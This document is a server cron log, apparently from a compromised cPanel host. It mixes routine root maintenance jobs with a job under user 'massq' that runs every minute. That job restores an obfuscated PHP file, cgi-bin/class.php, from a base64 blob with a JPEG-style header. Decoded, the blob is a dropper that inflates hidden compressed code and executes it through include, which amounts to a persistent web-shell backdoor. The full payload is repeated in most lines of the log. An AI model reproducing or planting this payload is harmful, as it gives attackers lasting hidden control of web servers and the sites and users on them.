Nov  9 16:03:01 server CROND[25149]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:04:01 server CROND[25614]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:05:01 server CROND[26504]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 16:05:01 server CROND[26506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:05:01 server CROND[26507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:05:01 server CROND[26505]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 16:06:01 server CROND[27473]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:07:01 server CROND[28304]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:08:01 server CROND[28990]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:09:01 server CROND[29849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:09:01 server CROND[29850]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 16:10:01 server CROND[30686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:10:01 server CROND[30687]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 16:10:01 server CROND[30688]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 16:10:01 server CROND[30689]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:11:01 server CROND[31836]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:12:01 server CROND[32586]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 16:12:01 server CROND[32588]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:13:01 server CROND[613]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:14:01 server CROND[1448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:15:01 server CROND[2286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 16:15:01 server CROND[2287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:15:01 server CROND[2288]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:15:01 server CROND[2289]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
